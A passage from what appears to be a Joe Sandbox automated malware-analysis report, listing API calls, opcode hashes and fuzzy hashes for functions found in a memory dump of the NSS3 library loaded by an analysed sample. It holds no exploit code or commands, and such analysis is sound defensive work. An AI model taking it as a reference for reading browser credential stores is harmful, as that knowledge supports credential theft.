TlsGetValue.KERNEL32 ref: 6C5824FF
EnterCriticalSection.KERNEL32(?), ref: 6C58250F
PR_Unlock.NSS3(?), ref: 6C58253C
PR_SetError.NSS3(00000000,00000000), ref: 6C582554

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue
String ID:
API String ID: 284873373-0
Opcode ID: dfee34342dd918260811261ecd27f58bed4ebf1f07f1ea315ab931a72af71057
Instruction ID: b287ba3789618c570a8ea339f6703249bf26cfaa8671e50423067ffe3746b468
Opcode Fuzzy Hash: dfee34342dd918260811261ecd27f58bed4ebf1f07f1ea315ab931a72af71057
Instruction Fuzzy Hash: CA11E971E00119ABDB00EF69DC859AB7B78EF4A328F554125EC099B311EB31ED54C7E1

Function 6C59ECB0 Relevance: 6.1, APIs: 4, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800,?,00000001,?,6C59F0AD,6C59F150,?,6C59F150,?,?,?), ref: 6C59ECBA

Part of subcall function 6C5A0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C5487ED,00000800,6C53EF74,00000000), ref: 6C5A1000
Part of subcall function 6C5A0FF0: PR_NewLock.NSS3(?,00000800,6C53EF74,00000000), ref: 6C5A1016
Part of subcall function 6C5A0FF0: PL_InitArenaPool.NSS3(00000000,security,6C5487ED,00000008,?,00000800,6C53EF74,00000000), ref: 6C5A102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000028,?,?,?), ref: 6C59ECD1

Part of subcall function 6C5A10C0: TlsGetValue.KERNEL32(?,6C548802,00000000,00000008,?,6C53EF74,00000000), ref: 6C5A10F3
Part of subcall function 6C5A10C0: EnterCriticalSection.KERNEL32(?,?,6C548802,00000000,00000008,?,6C53EF74,00000000), ref: 6C5A110C
Part of subcall function 6C5A10C0: PL_ArenaAllocate.NSS3(?,?,?,6C548802,00000000,00000008,?,6C53EF74,00000000), ref: 6C5A1141
Part of subcall function 6C5A10C0: PR_Unlock.NSS3(?,?,?,6C548802,00000000,00000008,?,6C53EF74,00000000), ref: 6C5A1182
Part of subcall function 6C5A10C0: TlsGetValue.KERNEL32(?,6C548802,00000000,00000008,?,6C53EF74,00000000), ref: 6C5A119C

PORT_ArenaAlloc_Util.NSS3(00000000,0000003C,?,?,?,?,?), ref: 6C59ED02

Part of subcall function 6C5A10C0: PL_ArenaAllocate.NSS3(?,6C548802,00000000,00000008,?,6C53EF74,00000000), ref: 6C5A116E

PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?), ref: 6C59ED5A

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: Arena$Util$Alloc_AllocateArena_Value$CriticalEnterFreeInitLockPoolSectionUnlockcalloc
String ID:
API String ID: 2957673229-0
Opcode ID: fde359a11de0bfe4845df7f2d5157b0e79017d69c9f1ce55be8417e26a882dd5
Instruction ID: bac1c5f70ba5d7237a23e4048dfb1c071f9d755c9f05799aec2d9b470187e878
Opcode Fuzzy Hash: fde359a11de0bfe4845df7f2d5157b0e79017d69c9f1ce55be8417e26a882dd5
Instruction Fuzzy Hash: FD21D4B59007829BE700CF26DD44B56B7E4BFE5308F15C259E81C87661EBB0E995C6D0

Function 6C56C860 Relevance: 6.1, APIs: 4, Instructions: 64threadCOMMON

Download Yara Rule

APIs

PK11_IsLoggedIn.NSS3(?,?), ref: 6C56C890

Part of subcall function 6C568F70: PK11_GetInternalKeySlot.NSS3(?,?,00000002,?,?,?,6C55DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C568FAF
Part of subcall function 6C568F70: PR_Now.NSS3(?,?,00000002,?,?,?,6C55DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C568FD1
Part of subcall function 6C568F70: TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6C55DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C568FFA
Part of subcall function 6C568F70: EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6C55DA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6C569013
Part of subcall function 6C568F70: PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6C55DA9B,?,00000000,?,?,?,?,CE534353), ref: 6C569042
Part of subcall function 6C568F70: TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6C55DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C56905A
Part of subcall function 6C568F70: EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6C55DA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6C569073
Part of subcall function 6C568F70: PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6C55DA9B,?,00000000,?,?,?,?,CE534353), ref: 6C569111

PR_GetCurrentThread.NSS3 ref: 6C56C8B2

Part of subcall function 6C609BF0: TlsGetValue.KERNEL32(?,?,?,6C650A75), ref: 6C609C07

PK11_Authenticate.NSS3(?,00000001,?), ref: 6C56C8D0
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C56C8EB

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: K11_Value$CriticalEnterSectionUnlock$AuthenticateCurrentInternalItem_LoggedSlotThreadUtilZfree
String ID:
API String ID: 999015661-0
Opcode ID: 477a7ae121ca17423d818f87d30b67f1952193dc40be73abf14df5b980759708
Instruction ID: b2ca72e882ea49dcba4c440e2fc5e258e937ed875f594cca503098e0d95e0bba
Opcode Fuzzy Hash: 477a7ae121ca17423d818f87d30b67f1952193dc40be73abf14df5b980759708
Instruction Fuzzy Hash: 2F01CC76E01111A7DB1026B76C80ABF35699F8625CF040135FD04A7F22F751AC1893E2

Function 6C65CB30 Relevance: 6.1, APIs: 4, Instructions: 64COMMON

Download Yara Rule

APIs

Part of subcall function 6C609890: TlsGetValue.KERNEL32(?,?,?,6C6097EB), ref: 6C60989E

EnterCriticalSection.KERNEL32(0000001E,?,?,00000000,?,6C5D5262,?,?,?,6C5CE333,?,?,6C5CDC77), ref: 6C65CB47
_PR_MD_UNLOCK.NSS3(-0000001A,?,6C5D5262,?,?,?,6C5CE333,?,?,6C5CDC77), ref: 6C65CB99
_PR_MD_NOTIFYALL_CV.NSS3(?,?,?,6C5D5262,?,?,?,6C5CE333,?,?,6C5CDC77), ref: 6C65CBC3
_PR_MD_NOTIFY_CV.NSS3(?,?,?,6C5D5262,?,?,?,6C5CE333,?,?,6C5CDC77), ref: 6C65CBD2

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: CriticalEnterSectionValue
String ID:
API String ID: 2782078792-0
Opcode ID: afa930d5b677f2cbaf04955d795cfd91fde75483a5405985ec4163bb2ef70ad9
Instruction ID: 32fcd055bb506356ee0683b74df4b07fe120888befac45c00416ccba1302c415
Opcode Fuzzy Hash: afa930d5b677f2cbaf04955d795cfd91fde75483a5405985ec4163bb2ef70ad9
Instruction Fuzzy Hash: C8118471E01606BBD704AF21D840B85B3B4FF0536DF688629D80A57F01E731A9A5CBDD

Function 6C594900 Relevance: 6.1, APIs: 4, Instructions: 63COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE09A,00000000,00000004,6C57C79F,?,?,6C595C4A,?), ref: 6C594950

Part of subcall function 6C598800: TlsGetValue.KERNEL32(?,6C5A085A,00000000,?,6C548369,?), ref: 6C598821
Part of subcall function 6C598800: TlsGetValue.KERNEL32(?,?,6C5A085A,00000000,?,6C548369,?), ref: 6C59883D
Part of subcall function 6C598800: EnterCriticalSection.KERNEL32(?,?,?,6C5A085A,00000000,?,6C548369,?), ref: 6C598856
Part of subcall function 6C598800: PR_WaitCondVar.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000013,?), ref: 6C598887
Part of subcall function 6C598800: PR_Unlock.NSS3(?,?,?,?,6C5A085A,00000000,?,6C548369,?), ref: 6C598899

TlsGetValue.KERNEL32(?,?,?), ref: 6C59496A
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C59497A
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C594989

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlock$CondErrorWait
String ID:
API String ID: 3904631464-0
Opcode ID: 6cfa4f0794ec31c83eb13b40149cb5f62bfef7795e1cf0f9b911f301902de3e7
Instruction ID: 05e98af010e555ce4603594a72b53db204adf8ae6878f2b1bfa51864876add53
Opcode Fuzzy Hash: 6cfa4f0794ec31c83eb13b40149cb5f62bfef7795e1cf0f9b911f301902de3e7
Instruction Fuzzy Hash: B51126B1A002409BEB009F6AEC81A1A77B8FF4636CF140575ED5987B12E721FC14869A

Function 6C5CEDB0 Relevance: 6.1, APIs: 4, Instructions: 62memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000,00000000,00000000,6C5B7FFA,?,6C5B9767,?,8B7874C0,0000A48E), ref: 6C5CEDD4
realloc.MOZGLUE(C7C1920F,?,00000000,00000000,6C5B7FFA,?,6C5B9767,?,8B7874C0,0000A48E), ref: 6C5CEDFD
PORT_Alloc_Util.NSS3(?,00000000,00000000,6C5B7FFA,?,6C5B9767,?,8B7874C0,0000A48E), ref: 6C5CEE14

Part of subcall function 6C5A0BE0: malloc.MOZGLUE(6C598D2D,?,00000000,?), ref: 6C5A0BF8
Part of subcall function 6C5A0BE0: TlsGetValue.KERNEL32(6C598D2D,?,00000000,?), ref: 6C5A0C15

memcpy.VCRUNTIME140(?,?,6C5B9767,00000000,00000000,6C5B7FFA,?,6C5B9767,?,8B7874C0,0000A48E), ref: 6C5CEE33

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: Alloc_ErrorUtilValuemallocmemcpyrealloc
String ID:
API String ID: 3903481028-0
Opcode ID: b8877e8ab3122322495d678f32c9158b51714768b04e42363b88048d7f8a7f28
Instruction ID: 46bb6b256417d201ccef8deabca77fcefff4bbef3f84bf5e73c92ecd8f33818f
Opcode Fuzzy Hash: b8877e8ab3122322495d678f32c9158b51714768b04e42363b88048d7f8a7f28
Instruction Fuzzy Hash: 4311C6B1B00706ABEB109EE5DC85B06B3A8EF0439DF204539E91986A00E371F864C7E7

Function 6C5B08D0 Relevance: 6.1, APIs: 4, Instructions: 62memoryCOMMON

Download Yara Rule

APIs

SECOID_FindOIDByTag_Util.NSS3(?,?,?,?,?,6C5B09B3,0000001A,?), ref: 6C5B08E9

Part of subcall function 6C5A0840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C5A08B4

SECITEM_CopyItem_Util.NSS3(?,?,00000000), ref: 6C5B08FD

Part of subcall function 6C59FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C598D2D,?,00000000,?), ref: 6C59FB85
Part of subcall function 6C59FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C59FBB1

SECITEM_AllocItem_Util.NSS3(?,00000000,00000001), ref: 6C5B0939
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C5B0953

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: Util$ErrorItem_$AllocAlloc_ArenaCopyFindTag_memcpy
String ID:
API String ID: 2572351645-0
Opcode ID: 2e99b12f1c9af86e3f260138aaee893669f473c170dc6a84dddc8e352a0eca88
Instruction ID: f630eb5a060f462189ee52d12b5dcc3594118e4e3ef0e4c393fa1b2ffebcdfe6
Opcode Fuzzy Hash: 2e99b12f1c9af86e3f260138aaee893669f473c170dc6a84dddc8e352a0eca88
Instruction Fuzzy Hash: 0601D6F1A0174A6BFB149B369D20B673B989FC0258F10443BFD2AD7B41FB31E8148A94

Function 6C5949C0 Relevance: 6.1, APIs: 4, Instructions: 61COMMON

Download Yara Rule

APIs

Part of subcall function 6C598800: TlsGetValue.KERNEL32(?,6C5A085A,00000000,?,6C548369,?), ref: 6C598821
Part of subcall function 6C598800: TlsGetValue.KERNEL32(?,?,6C5A085A,00000000,?,6C548369,?), ref: 6C59883D
Part of subcall function 6C598800: EnterCriticalSection.KERNEL32(?,?,?,6C5A085A,00000000,?,6C548369,?), ref: 6C598856
Part of subcall function 6C598800: PR_WaitCondVar.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000013,?), ref: 6C598887
Part of subcall function 6C598800: PR_Unlock.NSS3(?,?,?,?,6C5A085A,00000000,?,6C548369,?), ref: 6C598899

PR_SetError.NSS3 ref: 6C594A10
TlsGetValue.KERNEL32(6C58781D,?,6C57BD28,00CD52E8,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C594A24
EnterCriticalSection.KERNEL32(?,?,?,6C57BD28,00CD52E8), ref: 6C594A39
PR_Unlock.NSS3(?,?,?,?,6C57BD28,00CD52E8), ref: 6C594A4E

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlock$CondErrorWait
String ID:
API String ID: 3904631464-0
Opcode ID: 8f920550759fdbd1b909398b340aaba42caa21d9afe97e17ece429c47a40e3b8
Instruction ID: c2d5b12e5b07b7719762bd3b15a980c76ce48434b119f80e08f9387cb6f6ea67
Opcode Fuzzy Hash: 8f920550759fdbd1b909398b340aaba42caa21d9afe97e17ece429c47a40e3b8
Instruction Fuzzy Hash: 69215C75A04641CFDB00AF7AD98856ABBF4FF85358F014969D8998BB01E730EC44CB96

Function 6C53EAD0 Relevance: 6.1, APIs: 4, Instructions: 54networkthreadCOMMON

Download Yara Rule

APIs

htons.WSOCK32(?), ref: 6C53EB13
htonl.WSOCK32(00000000,?), ref: 6C53EB26
htons.WSOCK32(?), ref: 6C53EB44
PR_GetCurrentThread.NSS3(?), ref: 6C53EB58

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: htons$CurrentThreadhtonl
String ID:
API String ID: 2156189399-0
Opcode ID: 878d0699a6d9b06ab718f42cc27ce8eac28e3703dc033fa301175385623437d7
Instruction ID: 907e53b1ac59fc641c35d42fdfe695d7d2cb12501e2655e760b84d973872784b
Opcode Fuzzy Hash: 878d0699a6d9b06ab718f42cc27ce8eac28e3703dc033fa301175385623437d7
Instruction Fuzzy Hash: 50118E71D247A196D7208F658D106B673E0BF96318B11AB0EE8CE46A61F7B0A8D0C298

Function 6C568DD0 Relevance: 6.1, APIs: 4, Instructions: 53COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C568DE7
EnterCriticalSection.KERNEL32 ref: 6C568DFC
PR_Unlock.NSS3 ref: 6C568E2D
PR_SetError.NSS3 ref: 6C568E49

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue
String ID:
API String ID: 284873373-0
Opcode ID: 358985da55ef9159c0f7c160d28d4048a94df1914a1f4a7daf4a1933ba181895
Instruction ID: 159a9f285da2ca5ff26a5fe801cdfa1863137dc048f4ec0481efd67ac62f4687
Opcode Fuzzy Hash: 358985da55ef9159c0f7c160d28d4048a94df1914a1f4a7daf4a1933ba181895
Instruction Fuzzy Hash: 88118F71A056119BD700AF79D988169BBF4FF46314F01492ADC89D7B00EB30E854CBD2

Function 6C5D2BE0 Relevance: 6.1, APIs: 4, Instructions: 52COMMON

Download Yara Rule

APIs

CERT_DestroyCertificate.NSS3(?,00000000,00000000,?,6C5D2A28,00000060,00000001), ref: 6C5D2BF0

Part of subcall function 6C5495B0: TlsGetValue.KERNEL32(00000000,?,6C5600D2,00000000), ref: 6C5495D2
Part of subcall function 6C5495B0: EnterCriticalSection.KERNEL32(?,?,?,6C5600D2,00000000), ref: 6C5495E7
Part of subcall function 6C5495B0: PR_Unlock.NSS3(?,?,?,?,6C5600D2,00000000), ref: 6C549605

CERT_DestroyCertificate.NSS3(?,00000000,00000000,?,6C5D2A28,00000060,00000001), ref: 6C5D2C07
SECKEY_DestroyPublicKey.NSS3(?,00000000,00000000,?,6C5D2A28,00000060,00000001), ref: 6C5D2C1E
free.MOZGLUE(?,00000000,00000000,?,6C5D2A28,00000060,00000001), ref: 6C5D2C4A

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: Destroy$Certificate$CriticalEnterPublicSectionUnlockValuefree
String ID:
API String ID: 358400960-0
Opcode ID: cc5614753a6d1bd3783947e4799daeede231a0f4c517190d50c9e1972b6b10df
Instruction ID: 2151f175b47efbfd59c65ad989a1f88af7092769ab1fda2ff93ece669b24092b
Opcode Fuzzy Hash: cc5614753a6d1bd3783947e4799daeede231a0f4c517190d50c9e1972b6b10df
Instruction Fuzzy Hash: 250170B1A0070197EB20CF39ED08743B7E8AF50648F114A29E88AC3B51F731F9588795

Function 6C5EAC70 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

PR_DestroyMonitor.NSS3(000A34B6,00000000,00000678,?,6C5D5F17,?,?,?,?,?,?,?,?,6C5DAAD4), ref: 6C5EAC94
PK11_FreeSymKey.NSS3(08C483FF,00000000,00000678,?,6C5D5F17,?,?,?,?,?,?,?,?,6C5DAAD4), ref: 6C5EACA6
free.MOZGLUE(20868D04,?,?,?,?,?,?,?,?,6C5DAAD4), ref: 6C5EACC0
free.MOZGLUE(04C48300,?,?,?,?,?,?,?,?,6C5DAAD4), ref: 6C5EACDB

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: free$DestroyFreeK11_Monitor
String ID:
API String ID: 3989322779-0
Opcode ID: 58ed19218dbe4ddc4d816f20512ef1bf8b8a11bb82acb098dfa9f213c28df12e
Instruction ID: 1f4a32f0b2ad9a4415e2b3116e182c10ac7e0fb8e6f292a3b7acf238ae7e65e7
Opcode Fuzzy Hash: 58ed19218dbe4ddc4d816f20512ef1bf8b8a11bb82acb098dfa9f213c28df12e
Instruction Fuzzy Hash: 800157B1601A029BE7109F3AD908652BBE8BB14659B004829E85EC2A00E731E414CB91

Function 6C5988E0 Relevance: 6.0, APIs: 4, Instructions: 47COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,?,?,6C5A08AA,?), ref: 6C5988F6
EnterCriticalSection.KERNEL32(?,?,?,?,6C5A08AA,?), ref: 6C59890B
PR_NotifyCondVar.NSS3(?,?,?,?,?,6C5A08AA,?), ref: 6C598936
PR_Unlock.NSS3(?,?,?,?,?,6C5A08AA,?), ref: 6C598940

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: CondCriticalEnterNotifySectionUnlockValue
String ID:
API String ID: 959714679-0
